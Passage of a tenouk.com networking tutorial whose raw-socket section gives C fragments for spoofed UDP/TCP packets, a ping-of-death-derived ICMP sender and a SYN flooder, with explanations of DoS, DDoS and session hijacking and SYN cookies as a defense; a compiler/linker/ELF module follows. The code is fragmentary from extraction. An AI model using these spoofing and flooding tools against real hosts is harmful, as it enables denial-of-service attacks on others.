printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}
www.tenouk.com Page 8 of 19
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
// If something wrong just exit
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");
int count;
for(count = 1; count <=20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
{
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
}
www.tenouk.com Page 9 of 19
[root@bakawali testraw]# gcc rawudp.c -o rawudp
[root@bakawali testraw]# ./rawudp
- Invalid parameters!!!
- Usage ./rawudp <source hostname/IP> <source port> <target hostname/IP> <target port>
[root@bakawali testraw]# ./rawudp 192.168.10.10 21 203.106.93.91 8080
socket() - Using SOCK_RAW socket and UDP protocol is OK.
setsockopt() is OK.
Trying...
Using raw socket and UDP protocol
Using Source IP: 192.168.10.10 port: 21, Target IP: 203.106.93.91 port: 8080.
Count #1 - sendto() is OK.
Count #2 - sendto() is OK.
Count #3 - sendto() is OK.
Count #4 - sendto() is OK.
Count #5 - sendto() is OK.
Count #6 - sendto() is OK.
Count #7 - sendto() is OK.
...
You can use network monitoring tools to capture the raw socket datagrams at the target machine to see the effect.
The following is a raw socket and tcp program example.
www.tenouk.com Page 10 of 19
unsigned short csum(unsigned short *buf, int len)
{
unsigned long sum;
for(sum=0; len>0; len--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
memset(buffer, 0, PCKT_LEN);
if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}
// TCP structure
// The source port, spoofed, we accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command line
tcp->tcph_destport = htons(atoi(argv[4]));
tcp->tcph_seqnum = htonl(1);
tcp->tcph_acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph_syn = 1;
tcp->tcph_ack = 0;
tcp->tcph_win = htons(32767);
www.tenouk.com Page 11 of 19
tcp->tcph_chksum = 0; // Done by kernel
tcp->tcph_urgptr = 0;
// IP checksum calculation
ip->iph_chksum = csum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct
tcpheader)));
printf("Using:::::Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]),
argv[3], atoi(argv[4]));
Network utilities applications such as ping and Traceroute (check Unix/Linux man page) use ICMP and raw socket.
The following is a very loose ping and ICMP program example. It is taken from ping-of-death program.
www.tenouk.com Page 12 of 19
struct sockaddr_in dst;
int offset;
int on;
int num = 100;
if(argc < 3)
{
printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
printf("- saddress is the spoofed source address\n");
printf("- dstaddress is the target\n");
printf("- number is the number of packets to send, 100 is the default\n");
exit(1);
}
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
www.tenouk.com Page 13 of 19
icmp->code = 0;
/* Header checksum */
icmp->checksum = htons(~(ICMP_ECHO << 8));
/* sending time */
if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
fprintf(stderr, "offset %d: ", offset);
perror("sendto() error");
}
else
printf("sendto() is OK.\n");
You can verify this ‘attack’ at the target machine by issuing the tcpdump –vv command or other network
monitoring programs such as Ethereal.
By referring to the previous "three-way handshake" of the TCP, when the server gets a connection request, it sends a
SYN-ACK to the spoofed IP address, normally doesn't exist. The connection is made to time-out until it gets the
ACK segment (often called a half-open connection). Since the server connection queue resource is limited,
flooding the server with continuous SYN segments can slow down the server or completely push it offline. This
SYN flooding technique involves spoofing the IP address and sending multiple SYN segments to a server. In this
case, a full tcp connection is never established. We can also write a code, which sends a SYN packet with a
randomly spoofed IP to avoid the firewall blocking. This will result in all the entries in our spoofed IP list, sending
RST segments to the victim server, upon getting the SYN-ACK from the victim. This can choke the target server
and often form a crucial part of a Denial Of Service (DOS) attack. When the attack is launched by many zombie
hosts from various location, all target the same victim, it becomes Distributed DOS (DDOS). In worse case this
DOS/DDOS attack might be combined with other exploits such as buffer overflow. The DOS/DDOS attack also
www.tenouk.com Page 14 of 19
normally use transit hosts s a launching pad for attack. This means the attack may come from a valid IP/Domain
name. The following is a program example that constantly sends out SYN requests to a host (Syn flooder).
struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
www.tenouk.com Page 15 of 19
if(argc != 3)
{
printf("Invalid parameters!\n");
printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
exit(-1);
}
sin.sin_family = AF_INET;
/* you byte-order >1byte header values to network byte order
(not needed on big-endian machines). */
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);
iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
www.tenouk.com Page 16 of 19
{
if(sendto(s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->iph_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf("sendto() error!!!.\n");
else
printf("Flooding %s at %u...\n", argv[1], floodport);
}
return 0;
}
You can verify this ‘attack’ at the target machine by issuing the tcpdump –vv command or other network
monitoring programs such as Ethereal.
SYN Cookies
SYN flooding leaves a finite number of half-open connections in the server while the server is waiting for a SYN-
ACK acknowledgment. As long as the connection state is maintained, SYN flooding can prove to be a disaster in a
production network. Though SYN flooding capitalizes on the basic flaw in TCP, ways have been found to keep the
target system from going down by not maintaining connection states to consume precious resources. Though
increasing the connection queue and decreasing the connection time-out period will help to a certain extent, it won't
be effective under a rapid DDOS attack. SYN Cookies has been introduced and becomes part of the Linux kernels,
in order to protect your system from a SYN flood. In the SYN cookies implementation of TCP, when the server
receives a SYN packet, it responds with a SYN-ACK packet with the ACK sequence number calculated from source
address, source port, source sequence, destination address, destination port, and a secret seed. Then the server
relinquishes the state about the connection. If an ACK comes from the client, the server can recalculate it to
determine whether it is a response to the former SYN-ACK, which the server sent. To protect your system from SYN
flooding, the SYN Cookies have to be enabled.
net.ipv4.tcp_syncookies = 1
Session Hijacking
Raw socket can also be used for Session Hijacking. In this case, we inject our own packet that having same
specification with the original packet and replace it. As discussed in the previous section of the tcp connection
termination, the client who needs to terminate the connection sends a FIN segment to the server (TCP Packet with
the FIN flag set) indicating that it has finished sending the data. The server, upon receiving the FIN segment, does
not terminate the connection but enters into a "passive close" (CLOSE_WAIT) state and sends an ACK for the FIN
back to the client with the sequence number incremented by one. Now the server enters into LAST_ACK state.
When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK back to the
server with the sequence number incremented by one. When the server gets the ACK from the client, it closes the
connection.
Before trying to hijack a TCP connection, we need to understand the TIME_WAIT state. Consider two systems, A
and B, communicating. After terminating the connection, if these two clients want to communicate again, they
www.tenouk.com Page 17 of 19
should not be allowed to establish a connection before a certain period. This is because stray packets (if there are
any) transferred during the initial session should not confuse the second session initialization. So TCP has set the
TIME_WAIT period to be twice the MSL (Maximum Segment Lifetime) for the packet. We can spoof our TCP
packets and can try to reset an established TCP connection with the following steps:
1. Sniff a TCP connection. In Linux for example, we need to set our Network Interface (NIC) to
Promiscuous mode. In program, this can be done by using the setsockopt(). For example:
2. Check if the packet has ACK flag set. If set, the Acknowledgment number is recorded (which will be our
next packet sequence number) along with the source IP.
Establish a raw socket with spoofed IP and send out the FIN packet to the client with the recorded sequence
number. Make sure that you have also set your ACK flag. Session Hijacking can also be done with the RST (Reset)
flag.
---------------------------------------------------------------Break-----------------------------------------------------------------
Note:
A sniffer programs must make the network interface card (NIC) on a machine enter into a so-called promiscuous
mode. This is because, for example, an Ethernet NIC is built with a filter that ignores all traffic that does not belong
to it. This means it ignores all frames whose destination MAC address does not match with its own. Through the
NICs driver, a sniffer program need to turn off this filter, putting the NIC into mode called promiscuous so that it
will listen to all type of traffic that supposed to contain all type of packets. The typical NICs used in workstations
and PCs nowadays can be put into promiscuous mode quite easily by turning the mode on or off. In fact, on many
NICs, it is also possible to reprogram their MAC addresses. Network analyzing equipment deliberately and
legitimately needs to observe all traffic, and hence be promiscuous.
---------------------------------------------------------------Break-----------------------------------------------------------------
SYN Handshakes
Port scanner/sniffer such as Nmap use raw sockets to the advantage of stealth. They use a half-way-SYN handshake
that basically works like the following steps:
This way, host B knows when it gets a connection and this is how most port scanners work. Nmap and others
however, use raw sockets. When the SYN/ACK packet is received from host B, indicating that B got the SYN, host
A then uses this and sends a special RST (flag) packet (short for ReSeT) back to host B saying never mind about the
connection, thus, they never make a full connection and the scan is stealthed out.
Well, from the story in this Module, raw sockets are an extremely powerful method of controlling the underlying
protocol of a packet and its data. Any network programmer should learn and understand how to use them for the
right purposes.
--------------------------------------------------------End--------------------------------------------------------
www.tenouk.com Page 18 of 19
A protocol developed originally by Netscape for transmitting private documents via the Internet in an encrypted
form. SSL ensures that the information is sent, unchanged, only to the server you intended to send it to. For
example, online shopping sites frequently use SSL technology to safeguard your credit card information. SSL is a
protocol for encrypting TCP/IP traffic that also incorporates authentication and data integrity. The newest version
of SSL is sometimes referred to as Transport Layer Security (TLS) (the specification can be found at RFC 2246 and
TLS v1.0 is equivalent to SSL v3.1. SSL runs on top of TCP/IP and can be applied to almost any sort of
connection-oriented communication. SSL is based on session-key encryption. It adds a number of extra features,
including authentication based on X.509 certificates and integrity checking with message authentication codes.
It is an extension of sockets, which allow a client and a server to establish a stream of communication with each
other in a secured manner. They begin with a handshake, which allows identities to be established and keys to be
exchanged.
SSL uses a cryptographic system that uses two keys to encrypt data: a public key known to everyone and a private
or secret key known only to the recipient of the message. It is most commonly used to secure http. Both Netscape
Navigator and Internet Explorer browsers support SSL and many web sites use the protocol to obtain confidential
user information. By convention, URLs that require an SSL connection start with https: instead of http:.
Another protocol for transmitting data securely over the World Wide Web is Secure HTTP (S-HTTP). Whereas
SSL creates a secure connection between a client and a server, over which any amount of data can be sent securely,
S-HTTP is designed to transmit individual messages securely. SSL and S-HTTP, therefore, can be seen as
complementary rather than competing technologies. Both protocols have been approved by the Internet Engineering
Task Force (IETF) as a standard.
You can try OpenSSL, the open source version to learn more about SSL. One of real project example that
implements the SSL is Apache web server (apache-ssl). Information about program examples can be obtained at
openssl examples
Many users of telnet, rlogin, ftp and other communication programs transmit data such as user name and password
across the Internet in unencrypted form. For more general applications, SSH encrypts all traffic (including
passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks.
Originally developed by SSH Communications Security Ltd., Secure Shell provides strong authentication and secure
communications over insecure channels such as internet. It is a replacement for unsecured rlogin, rsh, rcp, and
rdist. SSH protects a network from attacks such as IP spoofing, IP source routing, and DNS spoofing. An
attacker who has managed to take over a network can only force SSH to disconnect. He or she cannot play back the
traffic or hijack the connection when encryption is enabled. For example, when using ssh's secure login (instead of
rlogin) the entire login session, including transmission of password, is encrypted; therefore it is almost
impossible for an outsider to collect passwords. SSH is available for Windows, Unix, Macintosh, and OS/2,
commercial or open source version and it also works with RSA authentication.
To learn more about SSH, you ca use the free, open source version, OpenSSH. The OpenSSH suite includes the
ssh program which replaces rlogin and telnet, scp which replaces rcp, and sftp which replaces ftp. Also
included is sshd which is the server side of the package, and the other basic utilities like ssh-add, ssh-agent, ssh-
keysign, ssh-keyscan, ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0.
-----------------------------------------Real End-----------------------------------------
---www.tenouk.com---
1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
www.tenouk.com Page 19 of 19
MODULE W
A STORY OF
COMPILER, ASSEMBLER, LINKER AND LOADER
Note:
This Module presents quite a detail story of a process (running program). It tries to investigate how the C / C++
source codes preprocessed, compiled, linked and loaded as a running program. It is based on the GCC (GNU
Compiler Collection). When you use the IDE (Integrated Development Environment) compilers such as Microsoft
Visual C++, Borland C++ Builder etc. the processes discussed here quite transparent. The commands and examples
of the gcc, gdb, g++, gas and friends are discussed in Module000 and Module111. Have a nice day!
Ability
▪ Able to understand and appreciate the processes involved in preprocessing, compiling, linking,
loading and running C / C++ programs.
- Normally the C’s program building process involves four stages and utilizes different ‘tools’ such as a
preprocessor, compiler, assembler, and linker.
- At the end there should be a single executable file. Below are the stages that happen in order regardless
of the operating system/compiler and graphically illustrated in Figure w.1.
- Bear in mind that if you use the IDE type compilers, these processes quite transparent.
- Now we are going to examine more details about the process that happen before and after the linking
stage. For any given input file, the file name suffix (file extension) determines what kind of
compilation is done and the example for GCC is listed in Table w.1.
- In UNIX/Linux, the executable file doesn’t have extension whereas in Windows the executables for
example may have .exe, .com and .dll.
Table w.1
www.tenouk.com Page 1 of 15
- The following Figure shows the steps involved in the process of building the C program starting from
the compilation until the loading of the executable image into the memory for program running.
Figure w.1: Compile, link and execute stages for running program (a process)
- After the source code has been assembled, it will produce an Object files (e.g. .o, .obj) and then
linked, producing an executable files.
- An object and executable come in several formats such as ELF (Executable and Linking Format) and
COFF (Common Object-File Format). For example, ELF is used on Linux systems, while COFF is
used on Windows systems.
- Other object file formats are listed in the following Table.
Object File
Description
Formats
The a.out format is the original file format for Unix. It consists of three
a.out sections: text, data, and bss, which are for program code, initialized data,
and uninitialized data, respectively. This format is so simple that it doesn't have
www.tenouk.com Page 2 of 15
any reserved place for debugging information. The only debugging format for
a.out is stabs, which is encoded as a set of normal symbols with distinctive
attributes.
The COFF (Common Object File Format) format was introduced with System
V Release 3 (SVR3) Unix. COFF files may have multiple sections, each
COFF prefixed by a header. The number of sections is limited. The COFF
specification includes support for debugging but the debugging information was
limited. There is no file extension for this format.
A variant of COFF. ECOFF is an Extended COFF originally introduced for
ECOFF
Mips and Alpha workstations.
The IBM RS/6000 running AIX uses an object file format called XCOFF
(eXtended COFF). The COFF sections, symbols, and line numbers are used, but
XCOFF debugging symbols are dbx-style stabs whose strings are located in the
.debug section (rather than the string table). The default name for an XCOFF
executable file is a.out.
Windows 9x and NT use the PE (Portable Executable) format for their
PE executables. PE is basically COFF with additional headers. The extension
normally .exe.
The ELF (Executable and Linking Format) format came with System V Release
4 (SVR4) Unix. ELF is similar to COFF in being organized into a number of
ELF sections, but it removes many of COFF's limitations. ELF used on most
modern Unix systems, including GNU/Linux, Solaris and Irix. Also used on
many embedded systems.
SOM (System Object Module) and ESOM (Extended SOM) is HP's object file
SOM/ESOM and debug format (not to be confused with IBM's SOM, which is a cross-
language Application Binary Interface - ABI).
Table w.2
- When we examine the content of these object files there are areas called sections. Sections can hold
executable code, data, dynamic linking information, debugging data, symbol tables, relocation
information, comments, string tables, and notes.
- Some sections are loaded into the process image and some provide information needed in the building
of a process image while still others are used only in linking object files.
- There are several sections that are common to all executable formats (may be named differently,
depending on the compiler/linker) as listed below:
Section Description
This section contains the executable instruction codes and is shared
among every process running the same binary. This section usually has
.text
READ and EXECUTE permissions only. This section is the one most
affected by optimization.
BSS stands for ‘Block Started by Symbol’. It holds un-initialized global
and static variables. Since the BSS only holds variables that don't have
any values yet, it doesn't actually need to store the image of these
.bss
variables. The size that BSS will require at runtime is recorded in the
object file, but the BSS (unlike the data section) doesn't take up any
actual space in the object file.
Contains the initialized global and static variables and their values. It is
.data usually the largest part of the executable. It usually has READ/WRITE
permissions.
Also known as .rodata (read-only data) section. This contains
.rdata
constants and string literals.
.reloc Stores the information required for relocating the image while loading.
A symbol is basically a name and an address. Symbol table holds
information needed to locate and relocate a program’s symbolic
definitions and references. A symbol table index is a subscript into this
Symbol table
array. Index 0 both designates the first entry in the table and serves as
the undefined symbol index. The symbol table contains an array of
symbol entries.
www.tenouk.com Page 3 of 15
Relocation is the process of connecting symbolic references with
symbolic definitions. For example, when a program calls a function, the
associated call instruction must transfer control to the proper
destination address at execution. Relocatable files must have relocation
Relocation records entries’ which are necessary because they contain information that
describes how to modify their section contents, thus allowing
executable and shared object files to hold the right information for a
process's program image. Simply said relocation records are
information used by the linker to adjust section contents.
- The following is an example of the object file content dumping using readelf program. Other utility
can be used is objdump. These utilities presented in Module000 and Module111.
- For Windows dumpbin utility (coming with Visual C++ compiler) or more powerful one is a free
PEBrowse program that can be used for the same purpose.
/*testprog1.c*/
#include <stdio.h>
static void display(int i, int *ptr);
int main(void)
{
int x = 5;
int *xptr = &x;
printf("In main() program:\n");
printf("x value is %d and is stored at address %p.\n", x, &x);
printf("xptr pointer points to address %p which holds a value of %d.\n", xptr, *xptr);
display(x, xptr);
return 0;
}
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 00000000 000034 0000de 00 AX 0 0 4
[ 2] .rel.text REL 00000000 00052c 000068 08 9 1 4
[ 3] .data PROGBIT 00000000 000114 000000 00 WA 0 0 4
[ 4] .bss NOBIT 00000000 000114 000000 00 WA 0 0 4
[ 5] .rodata PROGBITS 00000000 000114 00010a 00 A 0 0 4
[ 6] .note.GNU-stack PROGBITS 00000000 00021e 000000 00 0 0 1
[ 7] .comment PROGBITS 00000000 00021e 000031 00 0 0 1
[ 8] .shstrtab STRTAB 00000000 00024f 000051 00 0 0 1
[ 9] .symtab SYMTAB 00000000 000458 0000b0 10 10 9 4
www.tenouk.com Page 4 of 15
[10] .strtab STRTAB 00000000 000508 000021 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
- When writing a program using the assembly language it should be compatible with the sections in the
assembler directives (x86) and the partial list that is interested to us is listed below:
Section Description
Contain code (instructions).
1 Text (.section .text)
Contain the _start label.
2 Read-Only Data (.section .rodata) Contains pre-initialized constants.
3 Read-Write Data (.section .data) Contains pre-initialized variables.
4 BSS (.section .bss) Contains un-initialized data.
Table w.4
- The assembler directives in assembly programming can be used to identify code and data sections,
allocate/initialize memory and making symbols externally visible or invisible.
- An example of the assembly code with some of the assembler directives (Intel) is shown below:
;initializing data
.section .data
x: .byte 128 ;one byte initialized to 128
y: .long 1,1000,10000 ;3 long words
www.tenouk.com Page 5 of 15
.globl w ;declare externally visible
;e.g: int w = 10
.text
.globl fool ;e.g: fool(void) {…}
fool:
…
leave
return
- Because the various object files will include references to each others code and/or data, so various
locations, these shall need to be combined during the link time.
- For example in Figure w.2, the object file that has main() includes calls to functions funct() and
printf().
- After linking all of the object files together, the linker uses the relocation records to find all of the
addresses that need to be filled in.
- Since assembling to machine code removes all traces of labels from the code, the object file format has
to keep these around in different places.
- It is accomplished by the symbol table that contains a list of names and their corresponding offsets in
the text and data segments.
- A disassembler provides support for translating back from an object file or executable.
W.5 LINKING
- The linker actually enables separate compilation. As shown in Figure w.3, an executable can be made
up of a number of source files which can be compiled and assembled into their object files respectively,
independently.
www.tenouk.com Page 6 of 15
Figure w.3: Linking process of object files
- In a typical system, a number of programs will be running. Each program relies on a number of
functions, some of which will be standard C library functions, like printf(), malloc(),
strcpy(), etc. and some are non-standard or user defined functions.
- If every program uses the standard C library, it means that each program would normally have a unique
copy of this particular library present within it. Unfortunately, this result in wasted resources, degrade
the efficiency and performance.
- Since the C library is common, it is better to have each program reference the common, one instance of
that library, instead of having each program contain a copy of the library.
- This is implemented during the linking process where some of the objects are linked during the link
time whereas some done during the run time (deferred/dynamic linking).
- The term ‘statically linked’ means that the program and the particular library that it’s linked against are
combined together by the linker at link time.
- This means that the binding between the program and the particular library is fixed and known at link
time before the program run. It also means that we can't change this binding, unless we relink the
program with a new version of the library.
- Programs that are linked statically are linked against archives of objects (libraries) that typically have
the extension of .a. An example of such a collection of objects is the standard C library, libc.a.
- You might consider linking a program statically for example, in cases where you weren't sure whether
the correct version of a library will be available at runtime, or if you were testing a new version of a
library that you don't yet want to install as shared.
- For gcc, the –static option can be used during the compilation/linking of the program.
- The drawback of this technique is that the executable is quite big in size, all the needed information
need to be brought together.
- The term ‘dynamically linked’ means that the program and the particular library it references are not
combined together by the linker at link time.
- Instead, the linker places information into the executable that tells the loader which shared object
module the code is in and which runtime linker should be used to find and bind the references.
- This means that the binding between the program and the shared object is done at runtime that is before
the program starts, the appropriate shared objects are found and bound.
- This type of program is called a partially bound executable, because it isn't fully resolved. The linker,
at link time, didn't cause all the referenced symbols in the program to be associated with specific code
from the library.
www.tenouk.com Page 7 of 15
- Instead, the linker simply said something like: “This program calls some functions within a particular
shared object, so I'll just make a note of which shared object these functions are in, and continue on”.
- Symbols for the shared objects are only verified for their validity to ensure that they do exist
somewhere and are not yet combined into the program.
- The linker stores in the executable program, the locations of the external libraries where it found the
missing symbols. Effectively, this defers the binding until runtime.
- Programs that are linked dynamically are linked against shared objects that have the extension .so.
An example of such an object is the shared object version of the standard C library, libc.so.
- The advantageous to defer some of the objects/modules during the static linking step until they are
finally needed (during the run time) includes:
1. Program files (on disk) become much smaller because they need not hold all necessary text
and data segments information. It is very useful for portability.
2. Standard libraries may be upgraded or patched without every one program need to be re-
linked. This clearly requires some agreed module-naming convention that enables the
dynamic linker to find the newest, installed module such as some version specification.
Furthermore the distribution of the libraries is in binary form (no source), including
dynamically linked libraries (dlls) and when you change your program you only have to
recompile the file that was changed.
3. Software vendors need only provide the related libraries module required. Additional runtime
linking functions allow such programs to programmatically-link the required modules only.
4. In combination with virtual memory, dynamic linking permits two or more processes to share
read-only executable modules such as standard C libraries. Using this technique, only one
copy of a module needs be resident in memory at any time, and multiple processes, each can
executes this shared code (read only). This results in a considerable memory saving, although
demands an efficient swapping policy.
- To understand how a program makes use of shared objects, let's first examine the format of an
executable and the steps that occur when the program starts.
- Executable and Linking Format (ELF) is binary format, which is used in SVR4 Unix and Linux
systems.
- It is a format for storing programs or fragments of programs on disk, created as a result of compiling
and linking.
- ELF not only simplifies the task of making shared libraries, but also enhances dynamic loading of
modules at runtime.
- The Executable and Linking Format used by GNU/Linux and other operating systems, defines a
number of ‘sections’ in an executable program.
- These sections are used to provide instruction to the binary file and allowing inspection. Important
function sections include the Global Offset Table (GOT), which stores addresses of system functions,
the Procedure Linking Table (PLT), which stores indirect links to the GOT, .init/.fini, for
internal initialization and shutdown, .ctors/.dtors, for constructors and destructors.
- The data sections are .rodata, for read only data, .data for initialized data, and .bss for uninitialized data.
- Partial list of the ELF sections are organized as follows (from low to high):
1. .init - Startup
2. .text - String
3. .fini - Shutdown
4. .rodata - Read Only
5. .data - Initialized Data
6. .tdata - Initialized Thread Data
7. .tbss - Uninitialized Thread Data
www.tenouk.com Page 8 of 15
8. .ctors - Constructors
9. .dtors - Destructors
10. .got - Global Offset Table
11. .bss - Uninitialized Data
- You can use the readelf or objdump program against the object or executable files in order to view
the sections.
- In the following Figure, two views of an ELF file are shown: the linking view and the execution view.
Figure w.4: Simplified object file format: linking view and execution view.
- Keep in mind that the full format of the ELF contains many more items. As explained previously, the
linking view, which is used when the program or library is linked, deals with sections within an object
file.
- Sections contain the bulk of the object file information: data, instructions, relocation information,
symbols, debugging information, etc.
- The execution view, which is used when the program runs, deals with segments. Segments are a way
of grouping related sections.
- For example, the text segment groups executable code, the data segment groups the program data,
and the dynamic segment groups information relevant to dynamic loading.
- Each segment consists of one or more sections. A process image is created by loading and interpreting
segments.
- The operating system logically copies a file’s segment to a virtual memory segment according to the
information provided in the program header table. The OS can also use segments to create a shared
memory resource.
- At link time, the program or library is built by merging together sections with similar attributes into
segments.
- Typically, all the executable and read-only data sections are combined into a single text segment,
while the data and BSS are combined into the data segment.
- These segments are normally called load segments, because they need to be loaded in memory at
process creation. Other sections such as symbol information and debugging sections are merged into
other, non-load segments.
- In Linux processes loaded from a file system (using either the execve() family or spawn() system
calls) are in ELF format.
- If the file system is on a block-oriented device, the code and data are loaded into main memory.
- If the file system is memory mapped (e.g. ROM/Flash image), the code needn't be loaded into RAM,
but may be executed in place.
- This approach makes all RAM available for data and stack, leaving the code in ROM or Flash. In all
cases, if the same process is loaded more than once, its code will be shared.
- Before we can run an executable, firstly we have to load it into memory.
- This is done by the loader, which is generally part of the operating system. The loader does the
following things:
www.tenouk.com Page 9 of 15
Firstly, the OS system kernel reads in the program file’s header information and does the
validation for type, access permissions, memory requirement and its ability to run its instructions.
It confirms that file is an executable image and calculates memory requirements.
- Address space is memory space that contains program code, stack, and data segments or in other word,
all data the program uses as it runs.
- The memory layout, consists of three segments (text, data, and stack), in simplified form is shown in
Figure w.5.
- The dynamic data segment is also referred to as the heap, the place dynamically allocated memory
(such as from malloc() and new) comes from. Dynamically allocated memory is memory allocated
at run time instead of compile/link time.
- This organization enables any division of the dynamically allocated memory between the heap
(explicitly) and the stack (implicitly). This explains why the stack grows downward and heap grows
upward.
- A process is a running program. This means that the operating system has loaded the executable file
for the program into memory, has arranged it to have access to its command-line arguments and
environment variables, and has started it running.
- Typically a process has 5 different areas of memory allocated to it as listed in Table w.5 (refer to
Figure w.4):
Segment Description
Often referred to as the text segment, this is the area in which the
executable instructions reside. For example, Linux/Unix arranges
Code - text
things so that multiple running instances of the same program share
segment
their code if possible. Only one copy of the instructions for the same
program resides in memory at any time. The portion of the executable
www.tenouk.com Page 10 of 15
file containing the text segment is the text section.
Statically allocated and global data that are initialized with nonzero
Initialized data – values live in the data segment. Each process running the same
data segment program has its own data segment. The portion of the executable file
containing the data segment is the data section.
BSS stands for ‘Block Started by Symbol’. Global and statically
allocated data that initialized to zero by default are kept in what is
called the BSS area of the process. Each process running the same
Uninitialized
program has its own BSS area. When running, the BSS data are
data – bss
placed in the data segment. In the executable file, they are stored in
segment
the BSS section. For Linux/Unix the format of an executable, only
variables that are initialized to a nonzero value occupy space in the
executable’s disk file.
The heap is where dynamic memory (obtained by malloc(),
calloc(), realloc() and new for C++) comes from.
Everything on a heap is anonymous, thus you can only access parts of
it through a pointer. As memory is allocated on the heap, the process’s
address space grows. Although it is possible to give memory back to
the system and shrink a process’s address space, this is almost never
done because it will be allocated to other process again. Freed
memory (free() and delete) goes back to the heap, creating what
Heap
is called holes. It is typical for the heap to grow upward. This means
that successive items that are added to the heap are added at addresses
that are numerically greater than previous items. It is also typical for
the heap to start immediately after the BSS area of the data segment.
The end of the heap is marked by a pointer known as the break. You
cannot reference past the break. You can, however, move the break
pointer (via brk() and sbrk() system calls) to a new position to
increase the amount of heap memory available.
The stack segment is where local (automatic) variables are allocated.
In C program, local variables are all variables declared inside the
opening left curly brace of a function body including the main() or
other left curly brace that aren’t defined as static. The data is popped
up or pushed into the stack following the Last In First Out (LIFO)
rule. The stack holds local variables, temporary information, function
parameters, return address and the like. When a function is called, a
stack frame (or a procedure activation record) is created and PUSHed
Stack onto the top of the stack. This stack frame contains information such
as the address from which the function was called and where to jump
back to when the function is finished (return address), parameters,
local variables, and any other information needed by the invoked
function. The order of the information may vary by system and
compiler. When a function returns, the stack frame is POPped from
the stack. Typically the stack grows downward, meaning that items
deeper in the call chain are at numerically lower addresses and toward
the heap.
Table w.5
- When a program is running, the initialized data, BSS and heap areas are usually placed into a single
contiguous area called a data segment.
- The stack segment and code segment are separate from the data segment and from each other as
illustrated in Figure w.4.
- Although it is theoretically possible for the stack and heap to grow into each other, the operating
system prevents that event.
- The relationship among the different sections/segments is summarized in Table w.6, executable
program segments and their locations
www.tenouk.com Page 11 of 15
.bss Data BSS
- Data Heap
- Stack Stack
Table w.6
- The diagram below shows the memory layout of a typical C’s process. The process load segments
(corresponding to "text" and "data" in the diagram) at the process's base address.
- The main stack is located just below and grows downwards. Any additional threads or function calls
that are created will have their own stacks, located below the main stack.
- Each of the stack frames is separated by a guard page to detect stack overflows among stacks frame.
The heap is located above the process and grows upwards.
- In the middle of the process's address space, there is a region is reserved for shared objects. When a
new process is created, the process manager first maps the two segments from the executable into
memory.
- It then decodes the program's ELF header. If the program header indicates that the executable was
linked against a shared library, the process manager will extract the name of the dynamic interpreter
from the program header.
- The dynamic interpreter points to a shared library that contains the runtime linker code. The process
manager will load this shared library in memory and will then pass control to the runtime linker code in
this library.
www.tenouk.com Page 12 of 15
Figure w.5: C’s process memory layout on an x86.
- The runtime linker is invoked when a program that was linked against a shared object is started or
when a program requests that a shared object be dynamically loaded.
- So the resolution of the symbols can be done at one of the following time:
1. Load-time dynamic linking – the application program is read from the disk (disk file) into
memory and unresolved references are located. The load time loader finds all necessary
external symbols and alters all references to each symbol (all previously zeroed) to memory
references relative to the beginning of the program.
2. Run-time dynamic linking – the application program is read from disk (disk file) into
memory and unresolved references are left as invalid (typically zero). The first access of an
invalid, unresolved, reference results in a software trap. The run-time dynamic linker
www.tenouk.com Page 13 of 15
determines why this trap occurred and seeks the necessary external symbol. Only this symbol
is loaded into memory and linked into the calling program.
- The runtime linker is contained within the C runtime library. The runtime linker performs several tasks
when loading a shared library (.so file).
- The dynamic section provides information to the linker about other libraries that this library was linked
against.
- It also gives information about the relocations that need to be applied and the external symbols that
need to be resolved. The runtime linker will first load any other required shared libraries (which may
themselves reference other shared libraries).
- It will then process the relocations for each library. Some of these relocations are local to the library,
while others require the runtime linker to resolve a global symbol.
- In the latter case, the runtime linker will search through the list of libraries for this symbol. In ELF
files, hash tables are used for the symbol lookup, so they're very fast.
- Once all relocations have been applied, any initialization functions that have been registered in the
shared library's init section are called. This is used in some implementations of C++ to call global
constructors.
